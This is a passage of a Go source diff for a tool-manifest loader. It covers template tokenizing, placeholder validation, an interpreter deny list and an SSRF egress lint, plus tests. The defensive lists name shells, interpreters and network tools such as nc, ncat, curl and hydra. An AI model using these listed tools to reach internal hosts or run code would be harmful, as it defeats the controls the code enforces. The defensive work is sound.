regexp.MustCompile(`\{\{|\}\}|\{(\w+)\}`) + +// solePlaceholderRe matches a token that is exactly one placeholder. +var solePlaceholderRe = regexp.MustCompile(`^\{(\w+)\}$`) + +// TokenizeTemplate splits a trusted manifest string into tokens with a +// POSIX-like splitter honoring single and double quotes and backslash +// escapes. A placeholder opening brace inside quotes is rejected because a +// quoted placeholder can never be made safe: placeholders must be whole, +// unquoted tokens. The `{{` escape is allowed inside quotes. +// +// This function must only ever run on manifest-controlled text. Substituted +// values are never re-split. +func TokenizeTemplate(s string) ([]string, error) { + var tokens []string + var cur strings.Builder + started, inSingle, inDouble := false, false, false + runes := []rune(s) + flush := func() { + tokens = append(tokens, cur.String()) + cur.Reset() + started = false + } + for i := 0; i < len(runes); i++ { + c := runes[i] + switch { + case c == '\\' && !inSingle: + if i+1 >= len(runes) { + return nil, errors.New("trailing backslash in command template") + } + i++ + cur.WriteRune(runes[i]) + started = true + case c == '\'' && !inDouble: + inSingle = !inSingle + started = true + case c == '"' && !inSingle: + inDouble = !inDouble + started = true + case c == '{' && (inSingle || inDouble): + if i+1 < len(runes) && runes[i+1] == '{' { + // `{{` is the literal-brace escape; keep it for ExpandToken. + cur.WriteString("{{") + i++ + started = true + continue + } + return nil, fmt.Errorf( + "command template places a placeholder inside quotes at offset %d; "+ + "placeholders must be whole, unquoted tokens (use exec = [...])", i) + case unicode.IsSpace(c) && !inSingle && !inDouble: + if started { + flush() + } + default: + cur.WriteRune(c) + started = true + } + } + if inSingle || inDouble { + return nil, errors.New("unbalanced quote in command template") + } + if started { + flush() + } + return tokens, nil +} + +// SolePlaceholder reports whether token is exactly `{name}` and returns name. +func SolePlaceholder(token string) (string, bool) { + m := solePlaceholderRe.FindStringSubmatch(token) + if m == nil { + return "", false + } + return m[1], true +} + +// Placeholders returns the placeholder names referenced by token, using the +// same single pass as ExpandToken so escaped braces are skipped. +func Placeholders(token string) []string { + var names []string + for _, m := range placeholderRe.FindAllStringSubmatch(token, -1) { + if m[1] != "" { + names = append(names, m[1]) + } + } + return names +} + +// ExpandToken performs one left-to-right pass over token mapping `{{` to `{`, +// `}}` to `}`, and `{name}` to the value returned by resolve. The result is a +// single token and is never re-split. An unresolved name is an error. +func ExpandToken(token string, resolve func(name string) (string, bool)) (string, error) { + var firstErr error + out := placeholderRe.ReplaceAllStringFunc(token, func(match string) string { + switch match { + case "{{": + return "{" + case "}}": + return "}" + } + name := match[1 : len(match)-1] + v, ok := resolve(name) + if !ok { + if firstErr == nil { + firstErr = fmt.Errorf("unresolved placeholder '{%s}' in command", name) + } + return match + } + return v + }) + if firstErr != nil { + return "", firstErr + } + return out, nil +} + +// TrustedPlaceholders returns the names of the multi-token variables: +// `__flags` for each mapping and `_` for each conditional. These +// may only ever appear as a whole token, never glued to literal text. +func (m *Manifest) TrustedPlaceholders() map[string]bool { + trusted := make(map[string]bool) + for argName := range m.Command.Mappings { + trusted["_"+argName+"_flags"] = true + } + for cond := range m.Command.Conditionals { + trusted["_"+cond] = true + } + return trusted +} + +// KnownPlaceholders returns every placeholder name the manifest can resolve: +// declared args, [command.defaults] keys, `__flags` for each mapping, +// `_` for each conditional, and the executor-injected variables. +func (m *Manifest) KnownPlaceholders() map[string]bool { + known := make(map[string]bool) + for name := range m.Args { + known[name] = true + } + for k := range m.Command.Defaults { + known[k] = true + } + for argName := range m.Command.Mappings { + known["_"+argName+"_flags"] = true + } + for cond := range m.Command.Conditionals { + known["_"+cond] = true + } + for _, v := range InjectedVars { + known[v] = true + } + return known +} + +// EnsureCompiled compiles the [command] section if LoadManifest has not +// already done so. It lets manifests constructed in memory go through the +// same tokenization and placeholder checks, without the deprecation warning. +func (m *Manifest) EnsureCompiled() error { + if m.compiled { + return nil + } + if err := m.compileCommand(false); err != nil { + return err + } + if err := m.checkArgTypes(); err != nil { + return err + } + if err := m.LintEgress(m.CustomTypes); err != nil { + return err + } + if err := m.EnsureScope(); err != nil { + return err + } + if err := m.checkArgDefs(); err != nil { + return err + } + if err := m.CheckSpawnPolicy(); err != nil { + return err + } + if err := m.CheckOutput(); err != nil { + return err + } + if err := m.CheckHTTP(); err != nil { + return err + } + m.compiled = true + return nil +} + +// InterpreterBasenames are the argv[0] basenames refused at load unless +// [tool] allow_interpreter = true: a shell or language interpreter turns a +// validated argument into code. The list is shared verbatim across the +// ToolClad runtimes; extend it in all of them or in none. +var InterpreterBasenames = map[string]bool{ + "sh": true, "bash": true, "zsh": true, "dash": true, "ksh": true, + "csh": true, "tcsh": true, "fish": true, "ash": true, "busybox": true, + "env": true, "eval": true, "xargs": true, "python": true, "python2": true, + "python3": true, "perl": true, "ruby": true, "node": true, "deno": true, + "bun": true, "lua": true, "php": true, "awk": true, +} + +// CheckSpawnPolicy runs the load-time checks on the command the runtime +// will spawn: +// +// - timeout_seconds may not be negative (zero is refused at load, where +// an explicit value can be told apart from an absent one); +// - argv[0] may not be an interpreter unless allow_interpreter is set; +// - for the exec/template form with a non-empty tool.binary, the basename +// of argv[0] must equal the basename of tool.binary. +// +// Callback-dispatch manifests never spawn anything and are skipped, and so +// are [http]/[mcp]/[session]/[browser] manifests without a [command]. +func (m *Manifest) CheckSpawnPolicy() error { + if m.Tool.TimeoutSeconds < 0 { + return fmt.Errorf("timeout_seconds must be greater than zero") + } + if m.Tool.Dispatch == "callback" { + return nil + } + var argv0 string + execForm := false + switch { + case m.Command.Executor != "": + argv0 = m.Command.Executor + case len(m.Command.Exec) > 0: + argv0 = m.Command.Exec[0] + execForm = true + default: + return nil + } + if !m.Tool.AllowInterpreter && InterpreterBasenames[commandBasename(argv0)] { + return fmt.Errorf("command argv[0] '%s' is an interpreter; set allow_interpreter = true to permit it", argv0) + } + if execForm && m.Tool.Binary != "" && commandBasename(argv0) != commandBasename(m.Tool.Binary) { + return fmt.Errorf("command argv[0] '%s' does not match tool.binary '%s'", argv0, m.Tool.Binary) + } + return nil +} + +// compileCommand turns the [command] section into its canonical exec form: +// tokenizes a legacy template into Exec, tokenizes every conditional +// template, validates end_of_options, and checks that every placeholder +// names something the manifest can resolve. +func (m *Manifest) compileCommand(warn bool) error { + c := &m.Command + c.ExecWasDeclared = len(c.Exec) > 0 + if c.Template != "" && !c.ExecWasDeclared { + tokens, err := TokenizeTemplate(c.Template) + if err != nil { + return fmt.Errorf("command.template: %w", err) + } + c.Exec = tokens + if warn { + fmt.Fprintln(WarningOutput, TemplateDeprecationWarning) + } + } + + condNames := make([]string, 0, len(c.Conditionals)) + for name := range c.Conditionals { + condNames = append(condNames, name) + } + sort.Strings(condNames) + for _, name := range condNames { + cd := c.Conditionals[name] + tokens, err := TokenizeTemplate(cd.Template) + if err != nil { + return fmt.Errorf("command.conditionals.%s.template: %w", name, err) + } + cd.Tokens = tokens + c.Conditionals[name] = cd + } + + if c.EndOfOptions != "" && c.EndOfOptions != "--" { + return fmt.Errorf("command.end_of_options must be \"--\" if set, got %q", c.EndOfOptions) + } + + // An enum mapping table must cover every allowed value; map a value to + // "" to mean "no flags". This turns a missing case into a load failure + // instead of a silently flag-less invocation. + mapNames := make([]string, 0, len(c.Mappings)) + for argName := range c.Mappings { + mapNames = append(mapNames, argName) + } + sort.Strings(mapNames) + for _, argName := range mapNames { + arg := m.Args[argName] + if arg == nil || arg.Type != "enum" { + continue + } + var missing []string + for _, allowed := range arg.Allowed { + if _, ok := c.Mappings[argName][allowed]; !ok { + missing = append(missing, allowed) + } + } + if len(missing) > 0 { + return fmt.Errorf( + "command.mappings.%s: no entry for enum value(s) %q (map a value to \"\" for no flags)", + argName, missing) + } + } + + known := m.KnownPlaceholders() + trusted := m.TrustedPlaceholders() + check := func(where string, tokens []string) error { + for _, tok := range tokens { + _, whole := SolePlaceholder(tok) + for _, name := range Placeholders(tok) { + if !known[name] { + return fmt.Errorf("%s: unresolved placeholder '{%s}' in command", where, name) + } + if trusted[name] && !whole { + return fmt.Errorf( + "%s: placeholder '{%s}' expands to multiple tokens and must be a whole token in command", + where, name) + } + } + } + return nil + } + if err := check("command.exec", c.Exec); err != nil { + return err + } + for _, name := range condNames { + if err := check("command.conditionals."+name+".template", c.Conditionals[name].Tokens); err != nil { + return err + } + } + return nil +} + +// egressBinaries are the basenames of tools that connect to a network +// destination derived from their arguments — the ones for which an +// unconstrained network-typed argument is an SSRF surface. The list is +// shared verbatim across the ToolClad runtimes; extend it in all of them or +// in none. +var egressBinaries = map[string]bool{ + "curl": true, + "wget": true, + "nmap": true, + "nc": true, + "ncat": true, + "netcat": true, + "masscan": true, + "telnet": true, + "ssh": true, + "ping": true, + "fping": true, + "httpie": true, + "http": true, + "wfuzz": true, + "ffuf": true, + "hydra": true, + "nikto": true, +} + +// networkTargetTypes are the argument types that name a network +// destination and therefore carry block_internal. +var networkTargetTypes = map[string]bool{ + "scope_target": true, + "url": true, + "ip_address": true, + "cidr": true, +} + +// commandBasename returns the lower-cased final path element of a command +// token, so /usr/bin/curl, ./curl and CURL all compare as curl. +func commandBasename(s string) string { + if i := strings.LastIndexAny(s, `/\`); i >= 0 { + s = s[i+1:] + } + return strings.ToLower(s) +} + +// IsNetworkEgress reports whether the manifest is an egress manifest: it +// declares network_egress = true, dispatches through [http] or [browser], +// or names a known egress binary in tool.binary, exec[0] or the first token +// of the legacy template. +// +// An executor-only manifest runs a script this check cannot see into, so it +// is an egress manifest only through network_egress = true, [http] or +// [browser]. That escape hatch is the author's responsibility: a wrapper +// around curl must declare network_egress = true itself. +func (m *Manifest) IsNetworkEgress() bool { + if m.Tool.NetworkEgress || m.Http != nil || m.Browser != nil { + return true + } + var names []string + if m.Tool.Binary != "" { + names = append(names, commandBasename(m.Tool.Binary)) + } + if len(m.Command.Exec) > 0 { + names = append(names, commandBasename(m.Command.Exec[0])) + } + if first := strings.Fields(m.Command.Template); len(first) > 0 { + names = append(names, commandBasename(first[0])) + } + for _, n := range names { + if egressBinaries[n] { + return true + } + } + return false +} + +// LintEgress is the egress safety lint: a tool that connects to a network +// target must default-deny internal / SSRF addresses. For an egress +// manifest (IsNetworkEgress) every argument of a network target type must +// set block_internal = true, and an argument of a custom type whose base is +// a network target type is refused outright, because a custom type cannot +// carry block_internal. customTypes may be nil when the caller has none +// loaded; the built-in checks still run. Arguments are visited in name +// order so the reported failure is stable. +func (m *Manifest) LintEgress(customTypes map[string]*CustomTypeDef) error { + if !m.IsNetworkEgress() { + return nil + } + all := m.allArgDefs() + names := make([]string, 0, len(all)) + for name := range all { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + def := all[name] + if networkTargetTypes[def.Type] { + if !def.BlockInternal { + return fmt.Errorf( + "argument '%s' is a network target for an egress binary but block_internal is not set; "+ + "set block_internal = true to default-deny internal/SSRF targets", name) + } + continue + } + if ct, ok := customTypes[def.Type]; ok && networkTargetTypes[ct.Base] { + return fmt.Errorf( + "argument '%s' uses custom type '%s' as a network target; "+ + "custom types cannot carry block_internal — use the built-in %s type", + name, def.Type, ct.Base) + } + } + return nil +} + +// allArgDefs returns every argument definition the manifest declares, keyed by +// name: top-level [args] by their own name, and the arguments of each +// [session.commands.] and [browser.commands.] by their key path. A +// [browser] manifest's real network targets live under its commands, so a +// lint that only looked at top-level [args] would be hollow for it. +func (m *Manifest) allArgDefs() map[string]*ArgDef { + out := make(map[string]*ArgDef, len(m.Args)) + for name, def := range m.Args { + out[name] = def + } + if m.Session != nil { + for cname, cmd := range m.Session.Commands { + for aname, def := range cmd.Args { + out["session.commands."+cname+".args."+aname] = def + } + } + } + if m.Browser != nil { + for cname, cmd := range m.Browser.Commands { + for aname, def := range cmd.Args { + out["browser.commands."+cname+".args."+aname] = def + } + } + } + return out +} + +// unknownKeys walks the raw document against the Manifest struct type and +// returns the dotted path of every key that no tagged field accepts, sorted. +// Matching is exact (case-sensitive). A wholly unknown table is reported once, +// by its own path, rather than once per entry beneath it. Nothing beneath an +// open map is checked. +// +// The walk is deliberately independent of toml.MetaData.Undecoded(): in the +// pinned decoder release that list is built from aliased key slices and drops +// or repeats entries for any table header with three or more segments, such +// as [command.conditionals.] or [session.commands.]. +func unknownKeys(doc map[string]any) []string { + var out []string + walkUnknownKeys(reflect.TypeOf(Manifest{}), doc, nil, &out) + sort.Strings(out) + return out +} + +// walkUnknownKeys checks table against struct type t at path, appending the +// path of each key t has no field for. It descends into struct-typed fields +// and into map-typed fields whose values are structs (the [args.*], +// [command.conditionals.*], [session.commands.*] and [browser.commands.*] +// families). A map whose values are not structs is an open map: its keys are +// the author's to choose and its contents are not checked. +func walkUnknownKeys(t reflect.Type, table map[string]any, path toml.Key, out *[]string) { + fields := tomlFields(t) + keys := make([]string, 0, len(table)) + for k := range table { + keys = append(keys, k) + } + sort.Strings(keys) + for _, k := range keys { + // Three-index slicing forces a copy so sibling paths never share a + // backing array. + kpath := append(path[:len(path):len(path)], k) + ft, known := fields[k] + if !known { + *out = append(*out, kpath.String()) + continue + } + sub, isTable := table[k].(map[string]any) + if !isTable { + continue + } + switch elem := derefType(ft); elem.Kind() { + case reflect.Struct: + walkUnknownKeys(elem, sub, kpath, out) + case reflect.Map: + vt := derefType(elem.Elem()) + if vt.Kind() != reflect.Struct { + continue // open map + } + names := make([]string, 0, len(sub)) + for name := range sub { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + if vsub, ok := sub[name].(map[string]any); ok { + walkUnknownKeys(vt, vsub, append(kpath[:len(kpath):len(kpath)], name), out) + } + } + } + } +} + +// tomlFields returns the TOML key each exported, non-skipped field of struct +// type t decodes from, mapped to the field's type. +func tomlFields(t reflect.Type) map[string]reflect.Type { + fields := make(map[string]reflect.Type, t.NumField()) + for i := 0; i < t.NumField(); i++ { + f := t.Field(i) + if f.PkgPath != "" { + continue // unexported: the decoder never fills it + } + name, _, _ := strings.Cut(f.Tag.Get("toml"), ",") + if name == "-" { + continue + } + if name == "" { + name = f.Name + } + fields[name] = f.Type + } + return fields +} + +// derefType strips pointer indirections from a type. +func derefType(t reflect.Type) reflect.Type { + for t.Kind() == reflect.Pointer { + t = t.Elem() + } + return t +} + +// LoadOptions controls how LoadManifestWithOptions treats a manifest. The +// zero value is the strict behavior of LoadManifest. +type LoadOptions struct { + // AllowUnknownKeys downgrades unknown manifest keys from a load error to + // a `warning: unknown key '…' in manifest` line on WarningOutput. It + // exists for the CLI's `validate --allow-unknown-keys`; library callers + // should load strictly. + AllowUnknownKeys bool + + // CustomTypes, when non-nil, is used as the manifest's custom type + // table instead of discovering toolclad.toml (an empty map means "no + // custom types, do not discover"). For embedders that already hold + // the types. + CustomTypes map[string]*CustomTypeDef +} + +// LoadManifest parses a .clad.toml file and returns a Manifest. Loading is +// strict: a key the manifest schema does not know is a load error. func LoadManifest(path string) (*Manifest, error) { + return LoadManifestWithOptions(path, LoadOptions{}) +} + +// LoadManifestWithOptions parses a .clad.toml file with explicit LoadOptions. +// It is the single entry point for discovery, load and type checking: the +// project toolclad.toml is discovered upward from the manifest's directory +// (or taken from opts.CustomTypes), every argument type is checked against +// the built-in and custom types, and the egress lint sees the custom types. +func LoadManifestWithOptions(path string, opts LoadOptions) (*Manifest, error) { data, err := os.ReadFile(path) if err != nil { return nil, fmt.Errorf("reading manifest: %w", err) } + return parseManifest(data, path, opts) +} + +// LoadManifestFromString parses manifest source held in memory, strictly. +// Custom types are discovered upward from the working directory, as the +// scope file is for an in-memory manifest. +func LoadManifestFromString(src string) (*Manifest, error) { + return LoadManifestFromStringWithOptions(src, LoadOptions{}) +} + +// LoadManifestFromStringWithOptions is LoadManifestFromString with explicit +// LoadOptions. +func LoadManifestFromStringWithOptions(src string, opts LoadOptions) (*Manifest, error) { + return parseManifest([]byte(src), "", opts) +} + +// parseManifest is the shared loader. path is the source file ("" for an +// in-memory manifest); it labels errors and anchors discovery. +func parseManifest(data []byte, path string, opts LoadOptions) (*Manifest, error) { + label := path + if label == "" { + label = "" + } var m Manifest if err := toml.Unmarshal(data, &m); err != nil { return nil, fmt.Errorf("parsing manifest: %w", err) } + // Refuse keys the schema does not know. A misspelled key would otherwise + // silently disable the control it was meant to set. The document is + // re-read as a raw table so the check sees every key the author wrote. + var raw map[string]any + if err := toml.Unmarshal(data, &raw); err != nil { + return nil, fmt.Errorf("parsing manifest: %w", err) + } + if unknown := unknownKeys(raw); len(unknown) > 0 { + msgs := make([]string, len(unknown)) + for i, k := range unknown { + msgs[i] = fmt.Sprintf("unknown key '%s' in manifest", k) + } + if !opts.AllowUnknownKeys { + return nil, fmt.Errorf("manifest %s: %s", label, strings.Join(msgs, "; ")) + } + for _, msg := range msgs { + fmt.Fprintf(WarningOutput, "warning: %s\n", msg) + } + } + if m.Tool.Name == "" { - return nil, fmt.Errorf("manifest %s: missing required tool.name", path) + return nil, fmt.Errorf("manifest %s: missing required tool.name", label) + } + + // tool.mode is advisory: validate it when set, derive it when absent. + switch m.Tool.Mode { + case "": + switch { + case m.Session != nil: + m.Tool.Mode = "session" + case m.Browser != nil: + m.Tool.Mode = "browser" + default: + m.Tool.Mode = "oneshot" + } + case "oneshot", "session", "browser": + default: + return nil, fmt.Errorf( + "manifest %s: invalid tool.mode '%s', must be one of %s", + label, m.Tool.Mode, strings.Join(ToolModes, ", "), + ) } + // An explicit timeout_seconds must be positive: zero used to disable + // the timeout entirely in one runtime. Only an absent key defaults. + if tool, ok := raw["tool"].(map[string]any); ok { + if _, set := tool["timeout_seconds"]; set && m.Tool.TimeoutSeconds <= 0 { + return nil, fmt.Errorf("manifest %s: timeout_seconds must be greater than zero", label) + } + } // Set default timeout if not specified. if m.Tool.TimeoutSeconds == 0 { m.Tool.TimeoutSeconds = 60 @@ -251,7 +1143,7 @@ func LoadManifest(path string) (*Manifest, error) { if m.Tool.Dispatch != "exec" && m.Tool.Dispatch != "callback" { return nil, fmt.Errorf( "manifest %s: invalid dispatch '%s', must be 'exec' or 'callback'", - path, m.Tool.Dispatch, + label, m.Tool.Dispatch, ) } @@ -264,11 +1156,16 @@ func LoadManifest(path string) (*Manifest, error) { } } + // Compile [command] into canonical exec form and check placeholders. + if err := m.compileCommand(true); err != nil { + return nil, fmt.Errorf("manifest %s: %w", label, err) + } + m.compiled = true + // Cross-section validation. Callback dispatch is for validator-only // embeddings; no backend or [output] block is required. if m.Tool.Dispatch != "callback" { - hasBackend := m.Command.Template != "" || - len(m.Command.Exec) > 0 || + hasBackend := len(m.Command.Exec) > 0 || m.Command.Executor != "" || m.Http != nil || m.Mcp != nil || @@ -277,20 +1174,61 @@ func LoadManifest(path string) (*Manifest, error) { if !hasBackend { return nil, fmt.Errorf( "manifest %s: must define at least one execution backend: "+ - "[command] template/executor, [http], [mcp], [session], or [browser] "+ + "[command] exec/executor, [http], [mcp], [session], or [browser] "+ "(or set tool.dispatch = \"callback\" for validator-only manifests)", - path, + label, ) } if m.Output == nil { return nil, fmt.Errorf( "manifest %s: missing [output] block "+ "(or set tool.dispatch = \"callback\" for validator-only manifests)", - path, + label, ) } } + // Custom types: the caller's table, else the discovered toolclad.toml. + if opts.CustomTypes != nil { + m.CustomTypes = opts.CustomTypes + } else { + dir := "" + if path != "" { + dir = filepath.Dir(path) + } + ct, err := DiscoverCustomTypes(dir) + if err != nil { + return nil, fmt.Errorf("manifest %s: %w", label, err) + } + m.CustomTypes = ct + } + // Every argument type, including session/browser command arguments, + // must be a built-in or a custom type. + if err := m.checkArgTypes(); err != nil { + return nil, fmt.Errorf("manifest %s: %w", label, err) + } + + // Egress safety lint, with the custom types visible: a custom type + // whose base is a network target is refused in an egress manifest. + if err := m.LintEgress(m.CustomTypes); err != nil { + return nil, fmt.Errorf("manifest %s: %w", label, err) + } + m.SourcePath = path + if err := m.EnsureScope(); err != nil { + return nil, fmt.Errorf("manifest %s: %w", label, err) + } + if err := m.checkArgDefs(); err != nil { + return nil, fmt.Errorf("manifest %s: %w", label, err) + } + if err := m.CheckSpawnPolicy(); err != nil { + return nil, fmt.Errorf("manifest %s: %w", label, err) + } + if err := m.CheckOutput(); err != nil { + return nil, fmt.Errorf("manifest %s: %w", label, err) + } + if err := m.CheckHTTP(); err != nil { + return nil, fmt.Errorf("manifest %s: %w", label, err) + } return &m, nil } diff --git a/go/pkg/manifest/manifest_test.go b/go/pkg/manifest/manifest_test.go index 64632e0..28ec3a4 100644 --- a/go/pkg/manifest/manifest_test.go +++ b/go/pkg/manifest/manifest_test.go @@ -1,6 +1,8 @@ package manifest import ( + "bytes" + "fmt" "os" "path/filepath" "strings" @@ -96,3 +98,1452 @@ format = "text" t.Errorf("expected 'invalid dispatch' in error, got: %v", err) } } + +func TestTokenizeTemplate(t *testing.T) { + tests := []struct { + name string + in string + want []string + wantErr string + }{ + {name: "plain", in: "a b c", want: []string{"a", "b", "c"}}, + {name: "single quotes", in: "a 'b c' d", want: []string{"a", "b c", "d"}}, + {name: "double quotes", in: `a "b c"`, want: []string{"a", "b c"}}, + {name: "backslash escape", in: `a\ b`, want: []string{"a b"}}, + {name: "tabs and newlines", in: "a\tb\nc", want: []string{"a", "b", "c"}}, + {name: "empty quoted token", in: "''", want: []string{""}}, + {name: "empty", in: "", want: nil}, + {name: "brace escape inside quotes", in: `-w '%{{http_code}}'`, want: []string{"-w", "%{{http_code}}"}}, + {name: "placeholder outside quotes", in: "echo {msg}", want: []string{"echo", "{msg}"}}, + {name: "placeholder in single quotes", in: "echo '{msg}'", wantErr: "placeholder inside quotes"}, + {name: "placeholder in double quotes", in: `echo "{msg}"`, wantErr: "placeholder inside quotes"}, + {name: "placeholder after escape in quotes", in: `'{{{msg}'`, wantErr: "placeholder inside quotes"}, + {name: "unbalanced single", in: "echo 'abc", wantErr: "unbalanced quote"}, + {name: "unbalanced double", in: `echo "abc`, wantErr: "unbalanced quote"}, + {name: "trailing backslash", in: `echo abc\`, wantErr: "trailing backslash"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got, err := TokenizeTemplate(tt.in) + if tt.wantErr != "" { + if err == nil { + t.Fatalf("expected error containing %q, got tokens %q", tt.wantErr, got) + } + if !strings.Contains(err.Error(), tt.wantErr) { + t.Fatalf("error %q does not contain %q", err.Error(), tt.wantErr) + } + return + } + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(got) != len(tt.want) { + t.Fatalf("got %q, want %q", got, tt.want) + } + for i := range got { + if got[i] != tt.want[i] { + t.Fatalf("got %q, want %q", got, tt.want) + } + } + }) + } +} + +func TestExpandTokenBraceEscapes(t *testing.T) { + resolve := func(name string) (string, bool) { + if name == "msg" { + return "hi", true + } + return "", false + } + cases := map[string]string{ + "%{{http_code}}": "%{http_code}", + "{{": "{", + "}}": "}", + "a{msg}b": "ahib", + "{{{msg}}}": "{hi}", + } + for in, want := range cases { + got, err := ExpandToken(in, resolve) + if err != nil { + t.Fatalf("ExpandToken(%q): %v", in, err) + } + if got != want { + t.Errorf("ExpandToken(%q) = %q, want %q", in, got, want) + } + } + if _, err := ExpandToken("{nope}", resolve); err == nil || !strings.Contains(err.Error(), "unresolved placeholder '{nope}'") { + t.Errorf("expected unresolved placeholder error, got %v", err) + } + if names := Placeholders("%{{http_code}} {msg} {{x}}"); len(names) != 1 || names[0] != "msg" { + t.Errorf("Placeholders: got %q, want [msg]", names) + } +} + +const manifestHeader = ` +[tool] +name = "echo_tool" +version = "1.0.0" +binary = "echo" +description = "x" + +[output] +format = "text" +` + +func TestTemplateCompiledToExecWithWarning(t *testing.T) { + var buf bytes.Buffer + prev := WarningOutput + WarningOutput = &buf + defer func() { WarningOutput = prev }() + + p := writeTmp(t, manifestHeader+` +[args.msg] +position = 1 +required = true +type = "string" + +[command] +template = "echo -n {msg}" +`) + m, err := LoadManifest(p) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + want := []string{"echo", "-n", "{msg}"} + if strings.Join(m.Command.Exec, "\x00") != strings.Join(want, "\x00") { + t.Errorf("Exec = %q, want %q", m.Command.Exec, want) + } + if m.Command.ExecWasDeclared { + t.Error("ExecWasDeclared should be false for a compiled template") + } + if m.Command.Template == "" { + t.Error("Template should be kept for display") + } + if !strings.Contains(buf.String(), TemplateDeprecationWarning) { + t.Errorf("expected deprecation warning, got %q", buf.String()) + } +} + +func TestExecDeclaredNoWarning(t *testing.T) { + var buf bytes.Buffer + prev := WarningOutput + WarningOutput = &buf + defer func() { WarningOutput = prev }() + + p := writeTmp(t, manifestHeader+` +[args.msg] +position = 1 +required = true +type = "string" + +[command] +exec = ["echo", "{msg}"] +`) + m, err := LoadManifest(p) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !m.Command.ExecWasDeclared { + t.Error("ExecWasDeclared should be true") + } + if buf.Len() != 0 { + t.Errorf("unexpected warning output: %q", buf.String()) + } +} + +func TestPlaceholderInQuotesRefusedAtLoad(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[args.msg] +position = 1 +required = true +type = "string" + +[command] +template = "echo '{msg}'" +`) + _, err := LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "placeholder inside quotes") { + t.Fatalf("expected in-quotes rejection, got %v", err) + } +} + +func TestConditionalPlaceholderInQuotesRefusedAtLoad(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[args.headers] +position = 1 +required = false +type = "string" + +[command] +exec = ["echo", "{_header_flags}"] + +[command.conditionals.header_flags] +when = "headers != ''" +template = "-H '{headers}'" +`) + _, err := LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "placeholder inside quotes") { + t.Fatalf("expected in-quotes rejection, got %v", err) + } + if !strings.Contains(err.Error(), "conditionals.header_flags") { + t.Errorf("error should name the conditional, got %v", err) + } +} + +func TestConditionalTokenizedAtLoad(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[args.headers] +position = 1 +required = false +type = "string" + +[command] +exec = ["echo", "{_header_flags}"] + +[command.conditionals.header_flags] +when = "headers != ''" +template = "-H {headers}" +`) + m, err := LoadManifest(p) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + toks := m.Command.Conditionals["header_flags"].Tokens + if len(toks) != 2 || toks[0] != "-H" || toks[1] != "{headers}" { + t.Errorf("Tokens = %q, want [-H {headers}]", toks) + } +} + +func TestUnresolvedPlaceholderRefusedAtLoad(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[command] +exec = ["echo", "{nope}"] +`) + _, err := LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "unresolved placeholder '{nope}'") { + t.Fatalf("expected unresolved placeholder error, got %v", err) + } + + p = writeTmp(t, manifestHeader+` +[command] +exec = ["echo", "{_cond}"] + +[command.conditionals.cond] +when = "x != ''" +template = "{missing}" +`) + _, err = LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "unresolved placeholder '{missing}'") { + t.Fatalf("expected unresolved placeholder error in conditional, got %v", err) + } +} + +func TestKnownPlaceholdersAcceptedAtLoad(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[args.target] +position = 1 +required = true +type = "scope_target" + +[args.mode] +position = 2 +required = true +type = "enum" +allowed = ["a", "b"] + +[command] +exec = ["echo", "{_mode_flags}", "--rate", "{rate}", "{_extra}", "{_scan_id}", "{_evidence_dir}", "{_output_file}", "{target}"] + +[command.defaults] +rate = 10 + +[command.mappings.mode] +a = "-A" +b = "-B -b" + +[command.conditionals.extra] +when = "mode == 'a'" +template = "--extra" +`) + if _, err := LoadManifest(p); err != nil { + t.Fatalf("unexpected error: %v", err) + } +} + +func TestBraceEscapeIsNotPlaceholderAtLoad(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[command] +exec = ["echo", "-w", "%{{http_code}}"] +`) + if _, err := LoadManifest(p); err != nil { + t.Fatalf("brace escape must not trip the placeholder check: %v", err) + } +} + +func TestEndOfOptionsValidation(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[command] +exec = ["echo"] +end_of_options = "--" +`) + if _, err := LoadManifest(p); err != nil { + t.Fatalf("end_of_options = \"--\" must load: %v", err) + } + p = writeTmp(t, manifestHeader+` +[command] +exec = ["echo"] +end_of_options = "-" +`) + if _, err := LoadManifest(p); err == nil || !strings.Contains(err.Error(), "end_of_options") { + t.Fatalf("expected end_of_options rejection, got %v", err) + } +} + +func TestNewArgDefFieldsParsed(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[args.flag] +position = 1 +required = true +type = "string" +allow_leading_dash = true +allow_whitespace = true + +[command] +exec = ["echo", "{flag}"] +`) + m, err := LoadManifest(p) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !m.Args["flag"].AllowLeadingDash || !m.Args["flag"].AllowWhitespace { + t.Errorf("allow_leading_dash / allow_whitespace not parsed: %+v", m.Args["flag"]) + } +} + +func TestEnumMappingMustCoverAllowedValues(t *testing.T) { + p := writeTmp(t, manifestHeader+` +[args.mode] +position = 1 +required = true +type = "enum" +allowed = ["fast", "plain", "slow"] + +[command] +exec = ["echo", "{_mode_flags}"] + +[command.mappings.mode] +fast = "-T4" +`) + _, err := LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "command.mappings.mode") { + t.Fatalf("expected enum coverage error, got %v", err) + } + for _, missing := range []string{"plain", "slow"} { + if !strings.Contains(err.Error(), missing) { + t.Errorf("error should name missing value %q: %v", missing, err) + } + } + if strings.Contains(err.Error(), `"fast"`) { + t.Errorf("error must not list the covered value: %v", err) + } + + // Mapping a value to "" means "no flags" and satisfies coverage. + p = writeTmp(t, manifestHeader+` +[args.mode] +position = 1 +required = true +type = "enum" +allowed = ["fast", "plain"] + +[command] +exec = ["echo", "{_mode_flags}"] + +[command.mappings.mode] +fast = "-T4" +plain = "" +`) + if _, err := LoadManifest(p); err != nil { + t.Fatalf("complete mapping must load: %v", err) + } +} + +func TestTrustedVarGluedToLiteralRefusedAtLoad(t *testing.T) { + want := "expands to multiple tokens and must be a whole token in command" + p := writeTmp(t, manifestHeader+` 